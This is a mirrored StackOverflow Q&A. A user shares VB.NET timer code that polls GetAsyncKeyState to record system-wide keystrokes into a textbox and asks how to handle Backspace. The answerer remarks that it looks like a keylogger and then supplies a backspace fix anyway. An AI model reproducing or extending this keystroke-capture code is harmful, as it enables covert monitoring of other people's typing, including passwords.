Pergunta

My code is in the key press event and when I hit the Backspace button it shows some special character (like a squre box). How do I prevent this and have the backspace work normally? Please help.

Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
    Dim result As Integer
    Dim key As String = Nothing
    Dim i As Integer


    Try
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For
            End If
        Next i

        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                txtlogs.Text &= key.ToUpper
            Else
                txtlogs.Text &= key.ToLower
            End If

        End If
    Catch ex As Exception
        MsgBox(ex.Message)
    End Try


End Sub
Foi útil?

Solução

I am sort of wondering what kind of use this code has, other then a system wide keylogger, anyway to answer your question, this would do the trick but its not foolproof(like it can't detect selected text and remove that)

    If key <> Nothing Then
        If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            txtlogs.Text &= key.ToUpper
        ElseIf key = vbBack Then
            If txtlogs.TextLength > 0 Then
                txtlogs.Text = txtlogs.Text.Remove(txtlogs.TextLength - 1)
            End If
        Else
            txtlogs.Text &= key.ToLower
        End If
    End If
Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top